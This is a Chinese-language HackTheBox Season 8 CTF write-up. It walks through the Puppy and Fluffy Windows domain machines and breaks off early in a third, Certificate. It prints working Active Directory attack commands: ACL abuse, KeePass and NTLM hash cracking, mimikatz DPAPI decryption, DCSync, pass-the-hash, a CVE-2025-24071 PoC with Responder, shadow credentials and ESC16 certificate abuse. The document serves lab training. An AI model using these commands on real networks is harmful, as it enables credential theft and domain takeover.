HackTheBox - Season 8 (1/2)

Screenshot 2025-11-03 at 20.56.55


Week 1 - Puppy

🕒 2025/05/20

Puppy

  • IP: 10.10.11.70
  • OS: Windows
  • Difficulty: Medium
  • Credentials: levi.james | KingofAkron2025!

1. Nmap

首先,我們來用 nmap 掃這台機器的所有 ports 。

  • $ sudo nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.70
# Nmap 7.95 scan initiated Sun May 18 03:02:12 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.70
Nmap scan report for 10.10.11.70
Host is up (0.20s latency).
Not shown: 65512 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-18 02:05:10Z)
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2049/tcp  open  nlockmgr      1-4 (RPC #100021)
3260/tcp  open  iscsi?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49687/tcp open  msrpc         Microsoft Windows RPC
64900/tcp open  msrpc         Microsoft Windows RPC
65167/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-05-18T02:07:08
|_  start_date: N/A
|_clock-skew: 7h00m00s

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 18 03:09:39 2025 -- 1 IP address (1 host up) scanned in 446.28 seconds

2. SMB

port 445 是開的,我們可以用 smbmap 掃看看:

  • $ smbmap -H 10.10.11.70 -d puppy.htb -u levi.james -p 'KingofAkron2025!'
    Screenshot 2025-11-03 at 22.11.48

我們發現有一個非預設的 SMB share DEV, comment 寫道 DEV-SHARE for PUPPY-DEVS

3. BloodHound

官方有給一組帳號密碼,所以我們可以用 BloodHound 遠端掃掃看:

  • $ bloodhound-python -u levi.james -p 'KingofAkron2025!' -d puppy.htb -ns 10.10.11.70 -c All --zip
    image

    image

我們觀察到存在此攻擊路徑: levi.james 是 group HR 的 member,然後 group HR 有對 group Developers GenericWrite的權限,所以我們可以把 levi.james 加進去 group Developers ,以此獲得group Developers的權限

4. ldapmodify

  • add-member.ldif
dn: CN=DEVELOPERS,DC=PUPPY,DC=HTB
changetype: modify
add: member   
member: CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB
  • $ ldapmodify -x -H ldap://10.10.11.70 -D "PUPPY\\levi.james" -w 'KingofAkron2025!' -f add-member.ldif
    Screenshot 2025-11-04 at 20.55.31

我們再跑一次 smbmap

Screenshot 2025-11-04 at 20.55.14
我們可以看到, share DEVNO ACCESS 變成 READ ONLY

5. SMB

我們來 access SMB share DEV

  • $ smbclient //10.10.11.70/DEV -U puppy.htb/levi.james --password 'KingofAkron2025!'
    Screenshot 2025-11-04 at 21.02.26

有一個有趣的檔案:recovery.kdbx

.kdbx 檔案是一種由 KeePass Password Safe 軟體使用的密碼資料庫檔案格式。它是一個安全的密碼儲存庫,用於存放各種帳戶的登入資訊。使用者可以使用密碼或金鑰檔案來解鎖 .kdbx 檔案,以保護其中的敏感資料。

6. Password Hash Cracking

我們試著用 John the Ripper 來暴力破解此 password hash

先利用 keepass2john 把 password hash 提取出來:

  • $ keepass2john recovery.kdbx > hash.txt
    image

再跑 John the Ripper

  • $ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=Wordlist
    image
    • liverpool

我們暴力破解了此 hash , KeePass 的密碼為 liverpool

我們用密碼 liverpool 登入成功:

  • KeePass
    image

    image

成功得到了這些密碼

接下來,我們來嘗試看看這些密碼能不能成功登入:

  • $ crackmapexec smb 10.10.11.70 -d puppy.htb -u users.txt -p passwords.txt --continue-on-success
    image

我們成功登入了一組帳號:ant.edwards | Antman2025!

7. Ant -> Adam

我們用 BloodHound 來看看 ant.edwards 有什麼權限:

image
我們可以看出,因為 ant.edwards 是 group Senior Devs 的 member,所以 ant.edwardsadam.silverGenericAll的權限

image
adam.silver 是 group Remote Management Users 的 member

所以我們可以嘗試更改 adam.silver 的密碼來 remote access to the machine

我們利用 bloodyAD 來嘗試更改 adam.silver 的密碼

  • $ bloodyAD -d puppy.htb -u ant.edwards -p 'Antman2025!' --dc-ip 10.10.11.70 set password adam.silver 'P@ssw0rd'
    Screenshot 2025-11-06 at 20.13.35

看起來密碼是更改成功

不過我們嘗試利用 WinRM 登入失敗

Screenshot 2025-11-06 at 21.04.40

我們用 nxc 做排察,發現 SMB 回傳 STATUS_ACCOUNT_DISABLED

  • $ nxc smb 10.10.11.70 -u 'adam.silver' -p 'P@ssw0rd'
    Screenshot 2025-11-06 at 21.02.04

我們用 ldapsearch 來確認一下 userAccountControl 的值

  • $ ldapsearch -x -H ldap://10.10.11.70 -D 'PUPPY\ant.edwards' -w 'Antman2025!' -b "DC=puppy,DC=htb" "(sAMAccountName=Adam.Silver)" distinguishedName userAccountControl
    Screenshot 2025-11-06 at 21.15.45

userAccountControl: 66050 這個數值分解是:

  • 65536: DONT_EXPIRE_PASSWORD
  • 512: NORMAL_ACCOUNT
  • 2: ACCOUNTDISABLE

由此得知,此帳號為停用帳號(ACCOUNTDISABLE)。因為我們對 adam.silverGenericAll 的權限,所以我們可以嘗試把 ACCOUNTDISABLE 的數值改為0,即更改為啟用帳號:

  • $ ldapmodify -x -H ldap://10.10.11.70 -D 'puppy\ant.edwards' -w 'Antman2025!' -f enable-account.ldif
    Screenshot 2025-11-06 at 21.37.28

再試著用 WinRM 登入:

  • $ evil-winrm -i 10.10.11.70 -u 'puppy\adam.silver' -p 'P@ssw0rd'
    Screenshot 2025-11-06 at 21.42.09

登入成功,得到 user flag :

  • C:\Users\adam.silver\Desktop\user.txt
    upload_c6cb597077ae3fa8c0460fd80

8. Adam -> Steph (Sensitive File)

  • C:\Backups\site-backup-2024-12-30.zip
    image

我們發現了一個有趣的 backup zip檔,我們試著解壓縮:

image

查看 nms-auth-config.xml.bak

image

我們發現了一組密碼 steph.cooper | ChefSteph2025!

我們用 crackmapexec 確認,確實是 steph.cooper 的密碼

  • $ crackmapexec smb 10.10.11.70 -d puppy.htb -u users.txt -p 'ChefSteph2025!' --continue-on-success
    image

BloodHound 可以得知, steph.cooper 也是 Remote Management Users 的一員,所以也可以藉由 WinRM 連上這台機器:

image

  • $ evil-winrm -i 10.10.11.70 -u 'puppy.htb\steph.cooper' -p 'ChefSteph2025!'
    Screenshot 2025-11-06 at 22.02.01

9. steph -> steph.cooper_adm (DPAPI)

我們用 winPEAS 發現到有DPAPI的相關檔案

  • winPEAS
    image

DPAPI(Data Protection API):

Windows 的 DPAPI 是 OS 層的「資料保護機制」,用於加密使用者或系統的敏感資料(例如 Credential Manager、瀏覽器某些項目等)。核心是每個使用者/系統有一把 master key,用它來對應用資料做對稱加解密;master key 又被用使用者密碼或系統/域層級備援金鑰所保護。

  • 被 user password 或 domain backup key 加密的 master key 檔案
    • C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<User SID>\<GUID>
  • 被 master key 加密的 DPAPI-encrypted credential blob
    • C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\<GUID>

我們嘗試用 user password 來解密出 master key :

  • mimikatz# dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /password:ChefSteph2025! /protected
    image

我們成功解密出 master key 。接下來,我們嘗試用 master key 來解密出此 credential blob :

  • mimikatz# dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
    image

可以看到,我們成功解密出了這些敏感資訊,其中包含了一組帳密: steph.cooper_adm | FivethChipOnItsWay2025!

10. steph.cooper_adm -> Administrator

我們用 BloodHound 可以看到, steph.cooper_adm 是 group Administrators 的一員。

image

接下來,我們可以用 DCSync 來把 Administrator 的 hash dump出來:

  • DCSync
    • $ impacket-secretsdump puppy.htb/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.10.11.70
      image

用我們 dump 出來的 Administrator's hash 透過 WinRM 登入看看:

  • WinRM
    • $ evil-winrm -u 'PUPPY.htb\Administrator' -H 'bb0edc15e49ceb4120c7bd7e6e65d75b' -i 10.10.11.70
      image

登入成功,得到 root flag :

  • C:\Users\Administrator\Desktop\root.txt
    upload_4465da742b541108a7ef50a0a

Week 2 - Fluffy

🕒 2025/05/27

Fluffy

  • IP: 10.10.11.69
  • OS: Windows
  • Difficulty: Easy
  • Credentials: j.fleischman | J0elTHEM4n1990!

1. Nmap

首先,我們來用 nmap 掃這台機器的所有 ports 。

  • $ sudo nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.69
# Nmap 7.95 scan initiated Sun May 25 03:02:39 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.69
Nmap scan report for 10.10.11.69
Host is up (0.21s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-25 02:05:24Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T02:06:57+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
|_ssl-date: 2025-05-25T02:06:57+00:00; +7h00m00s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T02:06:57+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T02:06:57+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
49761/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-time: 
|   date: 2025-05-25T02:06:17
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 25 03:07:00 2025 -- 1 IP address (1 host up) scanned in 261.66 seconds

2. SMB

port 445 是開的,我們可以用 smbmap 掃看看:

  • $ smbmap -H 10.10.11.69 -u j.fleischman -p 'J0elTHEM4n1990!'
    image

我們可以看到 j.fleischman 對 share IT 有讀寫的權限。我們試著 access 看看:

  • $ smbclient //10.10.11.69/IT -U j.fleischman --password 'J0elTHEM4n1990!'
    image

可以看到有這些檔案,底下是一部分 Upgrade_Notice.pdf 的內容:

  • Upgrade_Notice.pdf
    image
    • CVE-2025-24071

我們來看看這些 CVEs 有沒有被修復。

3. CVE-2025-24071

經過了一番研究,我們發現此機器存在 CVE-2025-24071 之漏洞:

  • 當從壓縮檔解壓出 .library-ms 檔案時,Windows Explorer 會自動發起 SMB 驗證請求,導致 NTLM hash 被洩露。使用者不需要開啟或執行該檔案,僅僅解壓就會觸發此 leak 。
  • 漏洞詳細解說:https://cti.monster/blog/2025/03/18/CVE-2025-24071.html

我們利用 GitHub 上現成的 PoC : https://github.com/0x6rss/CVE-2025-24071_PoC

    1. 執行 $ python3 poc.py
      image

      生成 exploit.zip
    1. $ sudo responder -I tun0
    1. 上傳 exploit.zip 到 share IT
    • $ smbclient //10.10.11.69/IT -U j.fleischman --password 'J0elTHEM4n1990!'
      put exploit.zip
      image

      image
  • $ sudo responder -I tun0

    image

可以看到,我們成功得到了某位 user 的 hash 。
讓我們嘗試破解此 hash :

  • $ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    image

我們成功破解此 hash :p.agila | prometheusx-303

4. Kerberoasting Attack

順道一提,我們有嘗試 Kerberoasting Attack 並得到以下三位 service accounts 的 hash ,但並未破解任何 hash 。

  • $ impacket-GetUserSPNs -request -dc-ip 10.10.11.69 -outputfile hashes_asreproast.txt fluffy.htb/j.fleischman:'J0elTHEM4n1990!'

    Screenshot 2025-11-11 at 20.14.39

    記得校正時間:
    $ sudo ntpdate 10.10.11.69

5. BloodHound

接下來,讓我們用 BloodHound 取得更多 p.agila 的資訊:

  • $ bloodhound-python -u p.agila -p 'prometheusx-303' -d fluffy.htb -ns 10.10.11.69 -c All --zip
    Screenshot 2025-11-11 at 21.00.28

Screenshot 2025-11-11 at 20.57.23

可以看到,因為 p.agila 是 group Service Account Managers 的一員,所以 p.agila 擁有對 group Service Accounts GenericAll 的權限, group Service Accounts 又擁有對 ca_svcwinrm_svcldap_svc GenericWrite 的權限

我們的攻擊步驟是:
1. 把 p.agila 加進 group Service Accounts
2. 利用 certipy-ad shadow 取得 ca_svcwinrm_svcldap_svc 的 shadow credentials(NTLM hashes)

Shadow Credentials 取得 NTLM Hash 原理概要

  1. Shadow Credentials:
    利用對目標帳號具備的 GenericWriteWriteDACL 權限,將自產公鑰加入其 msDS-KeyCredentialLink 屬性,等於替帳號掛上一把「新金鑰」。攻擊者握有對應私鑰,即可透過 PKINIT (Kerberos Public-Key) 直接以該帳號身份向 KDC 驗證並取得 TGT。
  2. UnPAC-the-Hash:
    拿到 TGT 後,再以 User-to-User (U2U) TGS-REQ 向 KDC 要求票據,從回傳的 PAC (Privilege Attribute Certificate) 中解析出該帳號的 NTLM hash(及可能的 AES key)。

6. p.agila -> Service Accounts

我們先把 p.agila 加進去 group Service Accounts

  • $ ldapmodify -x -H ldap://10.10.11.69 -D 'fluffy\p.agila' -w 'prometheusx-303' -f add_member.ldif
    image

我們用 ldapsearch 確認看看,確實看到了 p.agila 被加進去 group Service Accounts

  • $ ldapsearch -LLL -x -H ldap://10.10.11.69 -D 'fluffy\p.agila' -w 'prometheusx-303' -b "CN=Service Accounts,CN=Users,DC=fluffy,DC=htb" "(objectClass=group)" member
    image

7. Shadow Credentials (Service Accounts -> ca_svc / winrm_svc / ldap_svc)

接下來,我們利用 Shadow Credentials (certipy-ad shadow) 獲取 ca_svcwinrm_svcldap_svc 的 TGTs 以取得其 NTLM hashes :
(記得校正時差:sudo ntpdate 10.10.11.69

  • $ certipy-ad shadow auto -u p.agila@fluffy.htb -p 'prometheusx-303' -dc-ip 10.10.11.69 -account winrm_svc
    image
    • winrm_svc | 33bd09dcd697600edf6b3a7af4875767
  • $ certipy-ad shadow auto -u p.agila@fluffy.htb -p 'prometheusx-303' -dc-ip 10.10.11.69 -account ca_svc
    image
    • ca_svc | ca0f4f9e9eb8a092addf53bb03fc98c8
  • $ certipy-ad shadow auto -u p.agila@fluffy.htb -p 'prometheusx-303' -dc-ip 10.10.11.69 -account ldap_svc
    image
    • ldap_svc | 22151d74ba3de931a352cba1f9393a37

可以看到,我們成功獲得了此三隻帳號的 NTLM hash 。

我們用 NTLM hash 就能登入:

  • $ evil-winrm -u 'fluffy.htb\winrm_svc' -H '33bd09dcd697600edf6b3a7af4875767' -i 10.10.11.69
    image

成功登入 winrm_svc ,拿到 user flag 。

  • C:\Users\winrm_svc\Desktop\user.txt
    upload_61f3b5b9bddb2fc429beeaa64-2

8. ESC16 (ca_svc -> Administrator)

ca_svc 在 group Cert Pubilshers 裡面,所以看起來是真的 CA service account 。

Screenshot 2025-11-17 at 21.32.52

我們可以利用 certipy 來找找看有沒有可以濫用的 CA 漏洞

  • $ certipy find -u ca_svc@fluffy.htb -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -vulnerable -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Certificate Subject                 : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
    Certificate Serial Number           : 3670C4A715B864BB497F7CD72119B6F5
    Certificate Validity Start          : 2025-04-17 16:00:16+00:00
    Certificate Validity End            : 3024-04-17 16:11:16+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    Permissions
      Owner                             : FLUFFY.HTB\Administrators
      Access Rights
        ManageCa                        : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        ManageCertificates              : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        Enroll                          : FLUFFY.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates                   : [!] Could not find any certificate templates

可以看到,我們可以利用 ESC16 漏洞做 Privilege Escaltion 。
依照 Github 文件的指示步驟即可成功 Privilege Escaltion 得到 root 。(https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)

  • $ certipy account -u ca_svc@fluffy.htb -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -user ca_svc read
    image
  • $ certipy account -u ca_svc@fluffy.htb -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -upn administrator -user ca_svc update
    image
  • $ certipy-ad shadow auto -u p.agila@fluffy.htb -p 'prometheusx-303' -dc-ip 10.10.11.69 -account ca_svc
    image
  • $ export KRB5CCNAME=ca_svc.ccache
    $ certipy req -k -dc-ip 10.10.11.69 -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
    image
  • $ certipy account -u ca_svc@fluffy.htb -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -upn ca_svc@fluffy.htb -user ca_svc update
    image
  • $ certipy auth -dc-ip 10.10.11.69 -pfx administrator.pfx -username administrator -domain fluffy.htb
    image

成功獲得 administrator 的 NTLM hash 。

我們來嘗試登入:

  • $ evil-winrm -u fluffy.htb\\administrator -H 8da83a3fa618b6e3a00e93f676c92a6e -i 10.10.11.69
    image

成功登入,獲得 root flag 。

  • C:\Users\Administrator\Desktop\root.txt
    upload_c30ad75c038068adb57ed046d

Week 3 - Certificate

🕒 2025/06/06

Certificate

  • IP: 10.10.11.71
  • OS: Windows
  • Difficulty: Hard

1. Nmap

首先,我們來用 nmap 掃這台機器的所有 ports 。

  • $ sudo nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.71
# Nmap 7.95 scan initiated Mon Jun  2 04:39:25 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.71
Nmap scan report for 10.10.11.71
Host is up (0.20s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://certificate.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-02 04:46:51Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-02T04:48:23+00:00; +8h02m40s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
|_SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-02T04:48:24+00:00; +8h02m40s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
|_SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-02T04:48:23+00:00; +8h02m40s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
|_SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-02T04:48:24+00:00; +8h02m40s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
|_SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49709/tcp open  msrpc         Microsoft Windows RPC
49723/tcp open  msrpc         Microsoft Windows RPC
50471/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 8h02m39s, deviation: 0s, median: 8h02m39s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-06-02T04:47:43
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun  2 04:45:45 2025 -- 1 IP address (1 host up) scanned in 380.24 seconds

2. Website

ports 80 是開的,我們可以試著造訪看看。

